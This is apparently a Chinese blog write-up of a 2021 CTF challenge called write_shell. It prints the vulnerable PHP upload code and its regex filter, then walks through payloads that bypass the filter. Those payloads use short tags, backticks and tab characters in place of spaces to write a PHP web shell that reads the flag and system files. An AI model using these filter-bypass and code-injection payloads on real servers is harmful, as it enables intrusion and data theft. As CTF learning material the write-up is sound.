CTF闲玩

 · 2021-10-9 · 次阅读


[红明谷CTF 2021]write_shell

开局php代码审计:

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

简单总结一下,直接看GET传入的action参数。

传入pwd时候输出路径(这什么路径等会儿看),然后是upload传入的时候,需要再次传入data参数。data参数回先经过waf函数。waf函数。。就是走check函数。就过滤:

"/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input
我也不怎么看得懂正则,反正两个双竖线里面的就是过滤的内容。
那么就是空格,_,php,;~;eval;^和{}被过滤了。

然后呢我们传入的data内容就会写在pwd查出来路径下的index.php文件下。

那么思路很清晰了。先传入pwd获取路径:

image-20211009160334403

然后传入upload和data内容直接写入index.php:

首先绕过空格可以用<、$IFS$9、<>、${IFS}、%09
其中大括号没了所以最后不能用
然后呢我们写入文件一般是system('cat /flag'),这儿/'这个正则应该是过滤单引号。
所以要尝试system("cat /flag")

由于php被禁用了那就用php短标签

<??>

先尝试:

action=upload&data=<?=system("cat<>/flag")?>

这儿访问出来是空白的。就是没有结果。那么应该是/flag的问题。。

可能有皮皮虾换文件名。尝试用通配符读取cat /*

欸奇怪了。。没有回显。那就是system函数有问题了?猜测代码中对()这样进行了处理。这儿没看出来哪儿有过滤。

换反引号:

action=upload&data=<?=`cat<>/*`?>

发现还是不行,怀疑是<>的问题。果然不行。最后发现只有%09可以:

action=upload&data=<?=`cat%09/*`?>
action=upload&data=<?=system("cat%09/*")?>
回过头来system函数也可以。
看到的一个payload学习:
action=upload&data=<?=`cat\t/*`?>

这里我试了下:

image-20211009161207919

但我发现需要空格才可以用。不清楚为什么这里能执行出来。默认:cat\t/etc/passwd执行不出来的。不过\t在linux中是tab其实作用类似cat /etc/passwd.应该是可行的。